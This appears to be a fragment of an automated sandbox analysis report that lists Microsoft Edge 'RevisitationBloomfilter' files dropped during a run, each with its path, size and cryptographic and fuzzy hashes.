SSDEEP 384:nRiF9CcmyWCs38Nn08TUNTUlIxBPm3ek32nn9B+1s4zpfbLGnhb1RgFe4KV8p0Yi:4Fccps3A0wgPKekmW1BxGhBRgFI8p0X
TLSH
T152C26B36EC54CEBBECEA4FD8BB4E6603DEE01163959C99E4DAD81D1D009B19D130B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 4d6cdb1cc07990c7dc2bdd3757ef30575e8351291e56a6fe12198c24038ea23c
MD5 68bba738933e12ab8d2c03cc9269d79f
SHA1 95f3d540e512bab825a0db76cf3800e33100e99a
SHA512 8d1c43c8a0dcc9679ec4ba5eebd895af89a604f303b122c4de949c0503c0bb7cdaf7c69a9c7b6b3daf270b8fdb6524430f858f72a7ef304a008b04e35d79c7f6
TLSH
T1B0E00212970C40F7C02D0B3084D39F113BF3C06107EF074B5E2412781C623402DB4E41
MD5 SHA1 SHA512 TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 b14fea18a2f6d1fbb8ce7ca38062a33e60298640f77d8a2acae75b9b15f977b6
MD5 3bf460c776e392e7b46a2836df759a23
SHA1 e0ddb948208e97141c7af2b14e1196f480a691a8
SHA512 ab9ec5b23f39c186ca75f1f90db3c2c8ee3c3dfe5bf624f758b4048cdc61789a9ad6620ca60f7ac8480ff7d13e9ae16f5e6a1062257dbf407d169b51d43a83b7
TLSH
T19AE00112974980B7C02D0B3084D39F153BB2D06117EF074B9A2426782C623402DB4A41
MD5 SHA1 SHA512 TLSH

Submit Download

RevisitationBloomfilter~RFe59b397.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter~RFe59b397.TMP
Size 392B
SHA256 ab106951360dc2f1fa35bc84378545a3208738372258272e41873285c8502dc5
MD5 416be27fed3b87d8b3e2dff31d0ce6b6
SHA1 24ef01af47735fc48e2c86063add0ca3d48c1aba
SHA512 3910d45129572edd88821c534771377bf97e7428885cafd3d91f06575c64d2a10e560dc4266c4bbef3798bc7d1eafcaee4a5885ec31cd966cd8e4c6559132b81
TLSH
T10BE00212570400F6C01D073000839F111BD2C06101ED074A5A2001680C223002D34E40
MD5 SHA1 SHA512 TLSH

Submit Download